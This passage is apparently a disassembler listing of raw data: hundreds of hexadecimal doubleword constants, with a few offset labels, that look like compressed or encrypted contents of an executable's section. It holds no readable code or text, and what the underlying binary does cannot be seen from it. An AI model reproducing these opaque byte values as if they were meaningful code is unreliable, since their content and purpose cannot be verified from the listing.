		dd 0BAB7C5EEh, 5AAB3FC2h, 0DA65158h, 0D1716FB6h, 3856BA1Ah
		dd 1E1043B3h, 0F88C6E8Fh, 1C89CD61h, 7713184Bh,	0E9F91FD6h
		dd 0EFDB9464h, 0E49C7A05h, 0EF57CA99h, 6F37DC98h, 0AC28AE7Ah
		dd 794C86C4h, 339C4B3Ch, 7687B6A1h, 4FB97BEEh, 0A716992Ah
		dd 0BF597F99h, 0C94A9227h, 0B3F5D69Dh, 6AEDFCBAh, 0FC5EB147h
		dd 0A5632334h, 4B67633Dh, 5E0D773h, 0BBBE5C1Fh,	0AB7C9B4Ah
		dd 0A539AB14h, 5FBB7098h, 56A0359Ch, 8CE4A43Bh,	0EFD8F64Bh
		dd 0E2B3185Fh, 3FF6793h, 4CCA444Dh, 0D62D187Ah,	56D31DA7h
		dd 0C7FE6C90h, 0D97433B7h, 0A4A7FEB7h, 0D1DA46D6h, 8E458055h
		dd 0FDE84727h, 79F35424h, 0A77A7E56h, 1150A295h, 0FE329FE5h
		dd 42CBE336h, 8ED7D50Ch, 2E8E0BCDh, 0AD5434A3h,	0F6C9F4ADh
		dd 50E2B5EFh, 683FB543h, 0CAF321BFh, 44D51025h,	0A015FFEBh
		dd 92BC7255h, 28CEC793h, 0B0BCEF21h, 2D5434E8h,	683B1AFCh
		dd 18375B82h, 0BF1C8BDBh, 0A5068885h, 36DF7A55h, 948B0CBDh
		dd 0FAA2A253h, 420AABBh, 798AF889h, 2FD0F07Ah, 2BF174F8h
		dd 18D46B0Ah, 0EE04D3B7h, 793C2CEFh, 49B2BE73h,	40C2C608h
		dd 16D282B6h, 9080BC8Bh, 41B5DC2Ah, 400998Bh, 40622BF2h
		dd 0FC0B2717h, 0D3381F10h, 8AA5D0A5h, 0E1001C15h, 50807503h
		dd 5DC7066h, 60C90555h,	0A6F88ABEh, 362480BDh, 0E0392EB7h
		dd 408E60A1h, 56FAE004h, 6884AAD4h, 0A9847918h,	6A011B73h
		dd 4784CAD7h, 0ED370297h, 430541CAh, 6B307FAEh,	499159A4h
		dd 0B4D4DCADh, 90B143E7h, 0A665A726h, 66C48B59h, 491DB319h
		dd 9A94B158h, 661373C1h, 455D0168h, 5436B95Fh, 97CB88BBh
		dd 26383085h, 94330064h, 8B505662h, 40C23B83h, 0D985C8h
		dd 106EB645h, 7B1AB480h, 83E5206Ch, 0B0695B00h,	908DB4AAh
		dd 0BE2835DCh, 71F0380h, 0E0B102ADh, 0AC10554Ch, 0E2D2AE22h
		dd 0C5556D16h, 22BA56C6h, 0CCDAED36h, 11B2031Bh, 99B7EAD8h
		dd 0B840980Eh, 0B88200Bh, 0A2BD88D6h, 35FA94B7h, 81098B15h
		dd 0B44406A0h, 0EAADA501h, 0A863C1Ch, 3712C345h, 6F612C05h
		dd 3100B13Fh, 0CC309099h, 30064020h, 0BB048BF6h, 3416D771h
		dd 4B20510h, 29304230h,	0E20219E6h, 26C60C00h, 807A17DBh
		dd 3198B102h, 8EDEDDC8h, 0C59CC20Ch, 0C188DB93h, 644708B0h
		dd 401A5675h, 0DAFC0F8Bh, 0C0081FBAh, 0A868D62Bh, 4987F2E1h
		dd 2CD75316h, 0B57EAC60h, 3C50C8B3h, 8C18D002h,	82F8A15Dh
		dd 15C102DDh, 69752558h, 4D2CECC6h, 8C18010Dh, 0B5FCF0CBh
		dd 5AD14595h, 82010311h, 869704A8h, 0A3AC2602h,	108C0120h
		dd 711652A2h, 26BA8498h, 0A2801096h, 2B902528h,	715D49B0h
		dd 440A0051h, 6D070336h, 0B123B817h, 5FE786B5h,	5BED00FCh
		dd 38169618h, 2C465B53h, 17C9C145h, 608005Ch, 2A50232Ch
		dd 4649AA82h, 91155014h, 5D46001Bh, 0E9636B0h, 822BC370h
		dd 112EDF88h, 42BE582h,	315AD82h, 5712E02h, 25785222h
		dd 2596D534h, 9603157Ah, 7E022220h, 4EB504A3h, 698314h
		dd 2252927h, 0F8EA7119h, 18325341h, 9D50E116h, 0A4CBB802h
		dd 83FDD0h, 3A2E880h, 12B5AD61h, 19445531h, 196942EAh
		dd 0B2272BD2h, 88042BA3h, 0E3BD6F8h, 4549EC67h,	1CB02EBh
		dd 7848680Dh, 1844090Bh, 6DBC08ADh, 0C5C9841Dh,	9D779CE7h
		dd 0D1007C8h, 0A8034D18h, 2299A714h, 4E98A712h,	4455C1B5h
		dd 0FB06730h, 0C7312730h, 44C2130Ch, 4C410088h,	108188ACh
		dd 505C2EFh, 6422B707h,	1131420h, 19036917h, 61E60C4h
		dd 0F2385EDh, 0A024A464h, 66F65CEh, 78851831h, 452202CCh
		dd 38A1A77Ah, 0F5188381h, 0CDB8D41h, 936BF383h,	39810D1h
		dd 2A549AB5h, 14ACF6F7h, 53A8D317h, 604CBECEh, 0DD61F014h
		dd 0A4B73961h, 4B21EAADh, 26880526h, 2A15701Fh,	5DB81AB0h
		dd 4E86FB67h, 8A4AD729h, 7125908Ah, 0FD8CED90h,	0EB8B9482h
		dd 4F74B313h, 0B81796DAh, 551F65D0h, 7409030Fh,	38A9BCCh
		dd 0AB5FD265h, 9325F4A6h, 185B4554h, 40A1B0A7h,	0D3D4ABAEh
		dd 9AA53AA9h, 34520D95h, 0AAE2BDh, 0F75A6E16h, 39230621h
		dd 0C034B296h, 0B15C969Ch, 16756E45h, 3E654BB8h, 45BA7018h
		dd 95E2B547h, 0DFDBBC38h, 86D84825h, 74C62BD7h,	1CE4C473h
		dd 0FE8884ABh, 0C951A458h, 15A61EF5h, 0C09820B9h, 0D8EDD2EBh
		dd 159DBF8Ah, 99959209h
		dd 0D481DD02h, 0BA8AD945h, 0B0CB4503h, 0CB2A2A01h, 6465AA18h
		dd 456C4023h, 6322C592h, 0E9AB5157h, 0D8359D46h, 1656CF6Ah
		dd 0DD96C21h, 0F6BA83D2h, 0F0202090h, 28D5C01h,	52BC8087h
		dd 0CD011DE0h, 0CC14C12h, 0F005115h, 0DB71460Dh, 1746050Fh
		dd 33822A7Dh, 0A35105D5h, 0BF90D33Ah, 3058D4E8h, 74E6C865h
		dd 0C4318B2Ah, 0A903015h, 313201A2h, 9EC5C143h,	0D35135h
		dd 0ADD4A740h, 0E5B98449h, 87F26A75h, 2C201D58h, 7E296319h
		dd 86FE500Ah, 15EDCE1Fh, 5B2019CEh, 0CD512C2Eh,	2A96E06Fh
		dd 725CDB6h, 790315Dh, 88D80C7Ah, 39DA011Bh, 0BE88042Ah
		dd 9A377640h, 0EF02580Ah, 78155217h, 933DCB44h,	0C28444A4h
		dd 60ABBE60h, 2300A9D4h, 0AD0284B2h, 2C551681h,	253C041Ah
		dd 4008D918h, 62092776h, 80EFF802h, 81134F20h, 716E2B4Ch
		dd 798C38A6h, 195383Ch,	0B20CA1CCh, 2A66040h, 758D01F6h
		dd 0F12E423Dh, 9847ED63h, 283D780Ah, 1FC30A74h,	0D28445Dh
		dd 8C15650h, 7028A04Ch,	0A1F7E13Eh, 844C10A4h, 45D3CAC2h
		dd 5684F828h, 9941518Fh, 1400650Bh, 1300CC8Fh, 4E12D645h
		dd 0D42CF378h, 83C4614h, 82094607h, 4D632E3Dh, 309F21F4h
		dd 8BA891E4h, 12308440h, 0AA38124Ah, 243A31C2h,	717C4872h
		dd 0BC60A306h, 98EE488h, 4269874h, 3E7D5421h, 0DD642529h
		dd 5312B7A5h, 944B7297h, 0AD29075Ch, 0ABBF642Bh, 2FAFABh
		dd 41232277h, 0EA401EAFh, 118A12D2h, 8E8C7498h,	7D55011Bh
		dd 68143034h, 0B8804252h, 3E021342h, 0AA3038D6h, 9A4A1299h
		dd 6AC343FCh, 0C2174182h, 2FF27477h, 8CCA0308h,	2751881Eh
		dd 0F57253F2h, 0FBCF4FCEh, 0FF413F39h, 1D24FCD8h, 74D3F25Dh
		dd 0D44FC83Fh, 793CC023h, 0D99F0838h, 674A9546h, 0AF810DCCh
		dd 0A9564876h, 9CFA93CEh, 63103DCBh, 0F6B447E4h, 73E2C41Bh
		dd 912F9A79h, 0D84FB7FFh, 469C7396h, 75AA373Dh,	0DF9668DCh
		dd 0E0C6E82Ch, 41ADD48Eh, 279D04FAh, 81224F31h,	88F6364Ch
		dd 0E1912ACh, 81B92825h, 415123DBh, 0A7297DE9h,	8533E062h
		dd 0C90E998Ah, 0B346E6Fh, 0AA099800h, 21C5152Ah, 0A2C3B59Eh
		dd 0A20C1700h, 11A038D0h, 0E51EA541h, 70F14608h, 47211E01h
		dd 2FE46E84h, 0E5824092h, 86471E28h, 63048CB9h,	60E8CF09h
		dd 0B46A0FAFh, 0F534CF78h, 0E0FE0A95h, 5241DACDh, 55060B51h
		dd 52AB0C6Bh, 1207181Dh, 5988098Bh, 0FA683732h,	38A8C0DDh
		dd 832F0A2Ch, 0F664DA1Ah, 4312DFD6h, 9961F3B7h,	5B43BE55h
		dd 881F2575h, 0C425E554h, 0C8DCFD5Ah, 1C22369h,	6407CFC0h
		dd 38C32D4Bh, 47E6C2Dh,	6A707E54h, 0AE4B646Bh, 58AEA0E1h
		dd 7E2AB747h, 0B7E6EC9Fh, 95EBC279h, 0C06207A9h, 57B640DCh
		dd 9B5F1B83h, 0F22D836Ah, 0FCA6629h, 3CE427D1h,	2C63850Bh
		dd 527169B9h, 0F2C62911h, 0B91BCE21h, 372A5573h, 0A145638Fh
		dd 0AE121A02h, 0F2A28C39h, 0A6213B71h, 5A597172h, 83C8A02Bh
		dd 4E27F23Ch, 9E4923CCh, 685423EEh, 858B31E6h, 9D391D01h
		dd 6C04B831h, 0C75EE3A9h, 98C49C50h, 7E5C585Eh,	6085202Eh
		dd 4C78E7A3h, 0DB1911F6h, 105A7F22h, 684C5559h,	63034BE1h
		dd 1F5EDCD8h, 48E40F04h, 34116A0Ah, 3EE3C344h, 240F042Bh
		dd 3422513Ah, 0CB9C8B57h, 2409B816h, 56747B10h,	9FD8A47Bh
		dd 689FDAF4h, 7BC09FDDh, 0E47A1921h, 4FC89F5Dh,	1C9C4857h
		dd 0B03D9807h, 0DD75C224h, 40000000h, 5000h
		dd offset off_423000
		dd 3000434Ah, 0
		dd 3FD40000h, 257C20E8h, 0D21220h, 9AB5F1A0h, 74AFE9F9h
		dd 14B9BEEBh, 0D67B95B3h, 0E676586Dh, 91142D02h, 152EC854h
		dd 8596598Ch, 0B759979Bh, 4A0EBF69h, 0A408ADE1h, 14E04C02h
		dd 0E6A00470h, 319D5029h, 8B006EF6h, 4135FD10h,	9030BEB4h
		dd 14D59880h, 62B10BB1h, 0B66BDAC3h, 0D36AD92Ch, 2DB63DA2h
		dd 0C2E3B5DBh, 0FCBAEB7Dh, 0F78B7252h, 3283DDAEh, 0D128CDE9h
		dd 3D2242A1h, 0A5D3B46Ah, 0EA7D934Ah, 52A929B4h, 0B56A42A3h
		dd 0B35AD52Ah, 3ABBBD62h, 0AAA822C0h, 0AF842C08h, 0C284B05Eh
		dd 2821B84h, 90344603h,	2BC94234h, 769B2C18h, 0A1D2390Ah
		dd 73FEBE99h, 2502A660h, 23D0FE2h, 0F074FD80h, 6A664060h
		dd 7FC97DA2h, 8B6EA60h,	0AF509406h, 0C973AC60h,	427153B6h
		dd 52BEF45Eh, 0B4D6A23Eh, 42058275h, 28086903h,	0C4C67518h
		dd 56D4F6ABh, 8B9D02BEh, 7BC14E64h, 637E3EC7h, 69EFF942h
		dd 35FF63A2h, 1B10A091h, 181D004Ah, 35A15015h, 0EB40FB31h
		dd 7A313082h, 4C985AB1h, 60DC3F62h, 42717B5Bh, 0B13E7C40h
		dd 80F342h, 1129060Dh, 0F6018610h, 2CACD89Fh, 2503814Ah
		dd 8947180h, 2A50608Ah,	0C9426128h, 0A50CD4A0h,	9D095283h
		dd 30E54A10h, 0A2CC4E85h, 143D0B47h, 830A7901h,	0A24C9628h
		dd 14855114h, 0C2150903h, 869D3A6Ah, 4AA4053Ah,	4D825063h
		dd 3055C315h, 0AD8C2ABBh, 5290967Ch, 4A38315Bh,	0AB3A2570h
		dd 160195C9h, 2C10CC6h,	882CAD3Bh, 11921609h, 52941A76h
		dd 21682C8Ah, 0B48CB3CCh, 0D3B65A43h, 0DCE6E169h, 0E9D1ED41h
		dd 819820BAh, 8B32883Ah, 3E61A1A2h, 881D6865h, 0F43285D1h
		dd 0FE2B18C1h, 8023B7A3h, 29FC276Eh, 0AF6CE0F2h, 36E8740Ah
		dd 9EB37AAh, 45000D2h, 62F3944Ch, 26D124Ch, 0BB3900BDh
		dd 0DD4F4FE5h, 8538055h, 39F9FA58h, 5417147Eh, 8046C3Dh
		dd 0AB093B13h, 3D23094h, 0F4CA0777h, 452B656Ah,	24A8010Ch
		dd 0D28A2251h, 4BB90944h, 32962518h, 0D257E842h, 6951D128h
		dd 2455C4A3h, 5FCF128Eh, 0F4B328F2h, 12B03A11h,	4AD10948h
		dd 44972521h, 85E1E642h, 579423CAh, 5E922DA2h, 0FC4BB489h
		dd 5608CA25h, 3CB47903h, 35561AA1h, 0EF41528h, 81A780B0h
		dd 9FC6093Eh, 56F0114Eh, 0B614D820h, 63043810h,	23D8A3A0h
		dd 9D84ECBh, 1E8FD4A1h,	0EC8AE47Bh, 47B26411h, 0D713D92h
		dd 0AD268F4h, 0A4AA032Fh, 0A7C318F7h, 0D92644Ah, 0BC58D62Bh
		dd 2E96BF65h, 0B956CA5Ch, 0CE8A9B7Dh, 42C129C5h, 0B80265EFh
		dd 0AA89F542h, 0A6253584h, 80945412h, 8252484Ah, 944E129h
		dd 244544A3h, 0D10F1282h, 12F82FE7h, 4BD0C245h,	2F0225ECh
		dd 0BB099791h, 0E6255DC4h, 70967512h, 2D42C04Bh, 0B309C18Ch
		dd 0C2255A04h, 0D8956312h, 2255784Ah, 894EA12Bh, 0C11584A8h
		dd 5E9C1284h, 7E4B2816h, 62C8A5CBh, 97F6D786h, 0BB21C09Fh
		dd 2A760197h, 0D0501297h, 566079AEh, 41725811h,	28F61490h
		dd 2177192h, 1732524Ch,	45005CC2h, 0ECA0AC20h, 84614609h
		dd 906FAC18h, 33F8065Ch, 6F4C7ADh, 0C06F65C8h, 201B7F5Ch
		dd 30E40197h, 30DB004h,	187ABE01h, 2F004402h, 20605CC3h
		dd 0CB93740h, 0F5BA972h, 0AC3290DBh, 6A00C10Dh,	9711E643h
		dd 5BC48618h, 703F285Ah, 36D3A2A9h, 36EAF00h, 2436D6F1h
		dd 0C70D3FAFh, 18B2C0CBh, 0A2E9A802h, 0BC105A04h, 2191660Ch
		dd 4A48D940h, 292AA590h, 0A4C99631h, 0BC015844h, 0FA675E0Ch
		dd 7B3DDF0Bh, 0C65FE1D8h, 1091F7F5h, 8F0B300Ch,	0C1830A22h
		dd 1B5C0284h, 0F87C0818h, 81DA1830h, 0AA397FE4h, 5428A153h
		dd 0EE7CB1FAh, 14138C81h, 0B783280Bh, 3CC10A0Bh, 929D2A66h
		dd 72038A47h, 6D40A55Ah, 97CD32E9h, 50947A8h, 0E4AD288Ch
		dd 0D3278254h, 1977A558h, 94984ECFh, 0A6977881h, 80500047h
		dd 469AC928h, 0AAF3CBC0h, 0CD9195B0h, 79F182CFh, 0FF015680h
		dd 0EC61A680h, 9448026Ah, 39819406h, 0C3B11A8Dh, 12BF0A18h
		dd 9A08C648h, 4CB7B6CEh, 0C19912ECh, 22C6220Ah,	0C45AFA84h
		dd 87A2B390h, 0A449A1C3h, 65B3D24Fh, 524114C0h,	46531164h
		dd 0FE4CBCDFh, 3444209Bh, 799C6F1Dh, 2E9DD0FBh,	83E1E39Ch
		dd 0DC2538ECh, 6F179EDAh, 3BD07A8Dh, 64BE3B69h,	3A9FAEFFh
		dd 0E0CE58D6h, 0DD7C19F5h, 1D05DC72h, 75F9AD0Eh, 9DFEC6CAh
		dd 0EDC0E3BFh, 0E5308289h, 0A727C4B1h, 373F5B93h, 8FDE9D5Dh
		dd 0EDBFFF49h, 0C67A03D0h, 9A3E8DE0h, 0A8A0701Ch, 0B6BAEB27h
		dd 738DEF30h, 3C17AC9Eh, 0DEEEFBDCh, 0F9CECA11h, 77ED3BBDh
		dd 87A1FEFDh, 0BC7C5546h, 0A65FF35Dh, 0C9A8CF94h, 845F84C0h
		dd 0D7169288h, 789F55F8h, 0BD3FF1F1h, 0F72DA3BEh, 5EB253E7h
		dd 2D97E1A5h, 0C8C3BCFAh, 0ED0499C7h, 0A3A3B4DAh, 45E167C7h
		dd 0E18434Fh, 9348975Ch, 285EA5DBh, 4E73A6D6h, 0EE364D3Eh
		dd 99E33B9Ah, 0ECF75EDAh, 0F62F7E5Ah, 0AD7F8A50h, 0BE1A3D92h
		dd 2A9CC69h, 4DEC1907h,	0EE2EA5C6h, 0B1253D1Fh,	7F3DB44Fh
		dd 0AB2BAEE2h, 0C9F7BB3Eh, 41EEF8F9h, 0DD4CFA2Eh, 0F2F2EE02h
		dd 0AA5E4E6h, 496E0C54h, 9CDE60E2h, 3009ADF6h, 0DC676004h
		dd 0BE8EFB9Fh, 0DF83B0AEh, 24EFE002h, 0C6E5B5ABh, 2C1FBF4Fh
		dd 0FA7EDD1h, 0C67CD4EFh, 0BEDF2CB2h, 3BD05588h, 0F094A3F1h
		dd 3D6787C8h, 0EE3B78D9h, 6DAD174Fh, 7C1740D3h,	0C37A36CDh
		dd 0E7BB7B37h, 0EBCBCECCh, 6FFACA15h, 0BC2FD5CAh, 7587DE73h
		dd 0BBF3E92Eh, 43B20911h, 6FC3357Eh, 6FB2FA65h,	37244DE2h
		dd 0CD4E995Fh, 0A273EE48h, 0F35A7775h, 0EB3E6287h, 39A2F3BDh
		dd 0DB1EEB29h, 0B249EB63h, 0C5BC7983h, 0E6361F1Bh, 0E8E9DD4Eh
		dd 67831C5Dh, 0D4EF5AADh, 0DD7C7ED8h, 0DD2F912Dh, 0B7D9EF5Fh
		dd 57F7C6C1h, 27A2C2Ch,	0E4A44409h, 7FD45F4Ch, 0DF759FD5h
		dd 26F24A8Dh, 0A3749A1Fh, 59F5C97Ch, 6E63BB5h, 977C8EF7h
		dd 238148EAh, 0FD4E1FFFh, 0AB1C9E94h, 31E0A337h, 921C9687h
		dd 71826B27h, 0F7044F46h, 79DFA3E5h, 58847FBDh,	3E8F7311h
		dd 4D0346F6h, 0C2511E1Bh, 7DB63BC6h, 37ED6850h,	533B66EBh
		dd 0A523CBA7h, 0F7528C73h, 0A9CE3332h, 0BEE07215h, 5A5C9B0Fh
		dd 16D655FBh, 0B46C119Dh, 7A9665E2h, 59DBA23Ah,	925A7E89h
		dd 5B36C425h, 0EA7A4F92h, 0ACE69A53h, 4D2EE75h,	0DC2B3EB3h
		dd 0D1C6703Bh, 0BCF8EFEFh, 5F238F67h, 0D4308AD5h, 0C53A3CDFh
		dd 0B17F7228h, 0F5F09765h, 0F6224CE3h, 0ECFF6CA5h, 0C882171Dh
		dd 0DD883BA5h, 0A0F57774h, 0E5C752FDh, 822E129Ch, 8045B61Dh
		dd 88E22E32h, 0C4648AF7h, 9A9FD822h, 2A6682C2h,	854DD998h
		dd 0F0B47320h, 72803FB2h, 0E8DCCE46h, 8843F3A3h, 0A4A00901h
		dd 427CE410h, 8A6D5185h, 2ECC9211h, 0EF9AF93Dh,	0F430FA67h
		dd 5C974963h, 497A6025h, 0D884A250h, 6D24E0D0h,	18517AA1h
		dd 7E5FC701h, 81E2FAE5h, 0E4C92E23h, 0FF227FFDh, 32A75108h
		dd 43C27422h, 487890Fh,	78C08562h, 7947E010h, 83414364h
		dd 300C2090h, 719CC7A1h, 0A1281480h, 44AC008Ch,	1282E251h
		dd 89218944h, 0C89725F8h, 0C25DF04Bh, 973712Eh,	25C044BAh
		dd 96C112E4h, 59C44B70h, 61122D42h, 744AB209h, 912ABE25h
		dd 44A9D895h, 129EE255h, 4A588951h, 28C22534h, 0A1099481h
		dd 68115104h, 0C4455722h, 8FA021Fh, 25E00F80h, 972112F2h
		dd 5B444BA8h, 68122DE2h, 944BB509h, 12BCE25h, 4AD1096h
		dd 12ACC257h, 4AA00958h
		dd 2A422554h, 0A8099531h, 9A255444h, 48944F12h,	0A2502C4Ah
		dd 9417128h, 4418C4A1h,	10F12FEh, 7D0950FAh, 0EE25C004h
		dd 98977912h, 2A1BD44Bh, 0DA0010ABh, 2D02C021h,	0B1898EB1h
		dd 0BC255944h, 0D0956012h, 255704Ah, 952912Bh, 252C84AAh
		dd 9461129Eh, 41124A40h, 0D0F62289h, 4BA8FA43h,	2E4225D8h
		dd 9A1C9741h, 0D8005588h, 2CE24021h, 0B2098E91h, 0C0255984h
		dd 0E8956212h, 4256784Ah, 954B12Bh, 254004ABh, 554512A4h
		dd 10C4A78h, 6409CC98h,	5A93A004h, 71C04612h, 0ABAE8023h
		dd 410A011h, 0B81C63E3h, 43A25230h, 22C4412Ah, 0C48BC674h
		dd 9385C9ABh, 536A00C6h, 676ABA8h, 0A7F5FB3Ah, 0BB3CDEEh
		dd 12BB7F7Ah, 7AE389F4h, 8E7F88C5h, 232B9C98h, 2C10D108h
		dd 20708852h, 7F832478h, 0CCB26285h, 43842655h,	914042E4h
		dd 25947170h, 0D48422A2h, 7182FD44h, 42601F1Dh,	0FE4F12B9h
		dd 32922DDBh, 7E12C420h, 249C74C2h, 93E97770h, 0A2CC1383h
		dd 0CF9324F4h, 767D08A4h, 924FB191h, 16BC4EEh, 422AA56Fh
		dd 0AFFD8A11h, 0F98D907h, 9A45E25Eh, 354C716Bh,	785251E3h
		dd 0BC405DD6h, 6317E935h, 0C05FEB5h, 83AD6900h,	9B43A526h
		dd 49442DDBh, 7484F7D1h, 70D8E3E5h, 81EB7079h, 0FBF71F6Ah
		dd 7B16F7CEh, 7BBB5F3Dh, 0CA54E48h, 7102662Fh, 65B88124h
		dd 0ADCAD042h, 0B7DBBC3Bh, 42E4D96Dh, 0E755A5D6h, 0AB2988D0h
		dd 91C0CBC1h, 0E8134263h, 0CC59B240h, 0B8470350h, 3908600Ch
		dd 405235A0h, 297CF5C2h, 0E657698Dh, 0A7430189h, 8C227F8Eh
		dd 8331BD9Eh, 2C92F171h, 0F4320429h, 0FCDA4F0Ch, 0B87AB50Dh
		dd 0AB8B352Fh, 3F982DE0h, 0E9A1AA49h, 22FEDA96h, 41D20A99h
		dd 0CC7FB385h, 0EF41BBBFh, 6B12B150h, 7F3BB631h, 0F4501BFFh
		dd 0A406C160h, 0EBD40136h, 481C867Ah, 80604F01h, 9F15B091h
		dd 1F23E7Dh, 9D1C18B0h,	0C10149C4h, 69CE1C2Ah, 303B44C2h
		dd 82DECB1Ah, 9BFAECA5h, 0CFBFADE7h, 0C4BF00BFh, 7FABD8D7h
		dd 0FA7DFC8Ah, 41A26423h, 280356F3h, 4BE529A3h,	0E2C0BA12h
		dd 15BE17FAh, 0A4D243C1h, 2BA9F172h, 18D52B36h,	41AA4A3Dh
		dd 6C4912CFh, 1D4E27AAh, 69FE71B8h, 93FCA2Eh, 0CC03BF4Fh
		dd 4020B693h, 2EDF85BFh, 0A75CC319h, 0BD5FFA99h, 9B78DC74h
		dd 7D4FCFBFh, 0E3FB59AAh, 0DE7DF79Bh, 0D881F093h, 0C6E8FD44h
		dd 24D973BDh, 883DF6F8h, 0FFA101F1h, 98A71805h,	0F45A0BD2h
		dd 5B4DC269h, 0A42CAEBFh, 0C27DAB31h, 33BA64A1h, 729A435Dh
		dd 32BA52DDh, 3274137Ah, 0E0777E80h, 0A1327400h, 534B5458h
		dd 0EAC247C0h, 0B00CD7E9h, 29D02091h, 17033D1h,	985D507h
		dd 34C52C26h, 0F4807AC5h, 6520B68h, 0C0D129A2h,	40C66482h
		dd 0B00DD2Fh, 183E8C4Ah, 12C6C806h, 84202F1Ah, 95E8BAE4h
		dd 8247310Fh, 0B8840C89h, 3EF58770h, 8C53E91Eh,	29A45458h
		dd 0ED3A78E8h, 8A4268D4h, 8D439A55h, 0A1285D75h, 3A9DC021h
		dd 60247007h, 0F8741D31h, 93423AA7h, 0A2D5D935h, 3D03E041h
		dd 5562E8FAh, 0CAC04642h, 0C1C0D0D2h, 91D2404h,	71A3EC2Eh
		dd 0E99E4381h, 0BD6D5990h, 612D0402h, 2C482AC5h, 1E6A1042h
		dd 0B820120h, 459C997h,	0D217D10h, 0B9D00801h, 0E9322E1h
		dd 1525960h, 0AAE95A2Dh, 0F47B4AD5h, 2E9FDCEDh,	371C28DCh
		dd 80C20492h, 0B9D5C75Fh, 0BA9D476Fh, 0D4EC6093h, 0C009D962h
		dd 0BADD7741h, 1703FBE6h, 3DC1746Eh, 0C37EB7C4h, 0BC5AEAB2h
		dd 278BBCC4h, 6C388DE9h, 0D48AB1D1h, 6C0F1CEh, 0FFD49BE2h
		dd 2B910B2Fh, 0AE3EE9B4h, 310A1474h, 414C71B4h,	984B7552h
		dd 2640A694h, 3944A633h, 0E9743020h, 5A719050h,	325062D4h
		dd 74423300h, 2C29214h,	2D2C5416h, 8C50320Ah, 6189D12h
		dd 2429524h, 1A526146h,	2E694ED2h, 76961A21h, 2EA2BD0Dh
		dd 0B90B63ADh, 4323AA07h, 12A44A95h, 68D141AAh,	32701776h
		dd 12A98110h, 559E1010h, 51D565F9h, 0DF1F8447h,	3B375AE3h
		dd 68DA660Ah, 8F1EE0F1h, 0BCFDBBCDh, 427ED09Fh,	5F8A44A3h
		dd 623BF6A3h, 213FBEF2h, 96A4EFA4h, 5FD97A85h, 0AC9FE7E9h
		dd 8856BFD7h, 3E4DBDEBh, 7D4FA953h, 0E1669B73h,	0CE44DEF4h
		dd 9A7E912Eh, 0B764A504h, 0E60AF4CFh, 0A467C5D0h, 89C1E1A0h
		dd 9571FA40h, 1DD7D1Fh,	0D7983DE6h, 3D6CC84Bh, 0ACF7FF24h
		dd 7CBDB2DBh, 0BC9A4B45h, 7310C895h, 0B3DAFB38h, 3EE32D6Fh
		dd 0FF426C6Ch, 527C102Ch, 21167CFFh, 0C9F952D8h, 557035F6h
		dd 805Dh, 8800h
		db 2 dup(0)
		dd offset dword_436000
		dw 434Ah
		dd 1000h, 0
		dd 20F32C10h, 32289FF4h, 0A78063B4h, 1184585h, 8533D094h
		dd 11842601h, 0D2D765B9h, 5B8A5B26h, 73297590h,	0B1261228h
		dd 0F65BA536h, 0DE7EEA7Ch, 0C522C36Eh, 542F414h, 4A65BCE9h
		dd 0C2B69B15h, 0C8B93BCDh, 5892A81h, 0CB7D8CEDh, 90917377h
		dd 324C7051h, 6F169057h, 6114AB5Ah, 4F5D2EB6h, 1B650458h
		dd 141843Ah, 8C190485h,	29A52280h, 23704B08h, 96512D22h
		dd 4C30E800h, 0D75B9B56h, 8D54E534h, 696C3672h,	0D42B7DE1h
		dd 0A4D3E812h, 254AB723h, 0E300EEEBh, 0EC418373h, 0E0246204h
		dd 5355F089h, 12200000h, 0
		dd offset loc_437000
		dd 76C6434Ah, 1, 0E6920000h, 0FC9720E1h, 99814F4Fh, 86C32751h
		dd 43F1FA80h, 0F1124DADh, 2492375Bh, 0E40E38B8h, 39FAAC57h
		dd 0A9F5BE84h, 49B4D069h, 440B61F8h, 0EF756202h, 0AA413FC6h
		dd 414B9C0Fh, 73BE1CF1h, 1D61FEA9h, 5CA00EFCh, 0FC4311ECh
		dd 0D042074Fh, 9ACFD271h, 891CD179h, 46806FF5h,	0C8EA17C6h
		dd 352B4703h, 921DE53Dh, 7E326DCBh, 22219C38h, 570E05FEh
		dd 0B1324BBh, 3C2E0FAAh, 57E42E05h, 61F0096h, 0BA0C9BDAh
		dd 84129006h, 0EF1741EFh, 8AC9D3BFh, 6170E017h,	7A9C3720h
		dd 700FADCBh, 7F7D1E44h, 8BF43E73h, 6DAE1EABh, 58929291h
		dd 7671208h, 898C48FBh,	11CF59C6h, 4F5B582Dh, 0F2F0543Bh
		dd 8F82C0F0h, 6BC65C24h, 6815E14h, 97594BCBh, 0E1E381E4h
		dd 9A333DFEh, 94A78DB2h, 6536A482h, 3B37280Bh, 5D7A96C2h
		dd 0AADB3442h, 37526C0Fh, 0F5D93466h, 6B03B477h, 0D667AEB5h
		dd 0BF0AE2C8h, 0A7D838BFh, 35492045h, 10FCCE54h, 9A0857BAh
		dd 0E74B2CF2h, 8A81DFEFh, 281B83E1h, 753C0F7Bh,	71E005BCh
		dd 0C6974C17h, 6864A091h, 42CAC7EDh, 91FF78C4h,	0A053194h
		dd 5985703Eh, 0F660BF73h, 5EB3F2CCh, 8F86313Dh,	6E7F83EBh
		dd 9FE52E5Ah, 5BB9931Ah, 37EB6860h, 17D0BD05h, 0BD54AC5Fh
		dd 0DED3AC28h, 0CDB49A02h, 0BB7371Bh, 0A3471E34h, 0CFDB68CDh
		dd 0F2B418D7h, 0A7CF00ABh, 0E0C34A28h, 662D3987h, 399DCFD4h
		dd 45F01EDAh, 80CF6713h, 0E610012Dh, 66B8D8CFh,	5B47D8C6h
		dd 44690C15h, 0B5F11261h, 0F53EC4E0h, 3CF1C79Ch, 0F7E3F0ACh
		dd 0AFBBBC13h, 0C0F387E0h, 8CAED07Ch, 31A7296h,	6D27EF17h
		dd 5A0AA350h, 0B1D9DAB7h, 0A870D31Ah, 36B72FA8h, 54514BC1h
		dd 2FA7438Ah, 0F1B17A0Eh, 0CC7A5EC0h, 0F2A9D12Ch, 0EE5F6735h
		dd 51045C9Eh, 4A19579Fh, 0C1AB8BFCh, 0A1DB73C4h, 3F1FC28Bh
		dd 0CC785630h, 0CDA4DD6Eh, 3130BF07h, 83EDA453h, 0B9581051h
		dd 0E8D5B0E2h, 0EE26FACh, 45F70EC3h, 52CCCBD6h,	0F138D167h
		dd 1AA3E34Dh, 49B30509h, 85DA689Eh, 1937F730h, 75207654h
		dd 0DD2939A9h, 60F31C21h, 9EED4661h, 9C6F73Eh, 0A07594D2h
		dd 5B38A0D0h, 5B99CC53h, 6398BACFh, 602FAB75h, 0F17CD3F0h
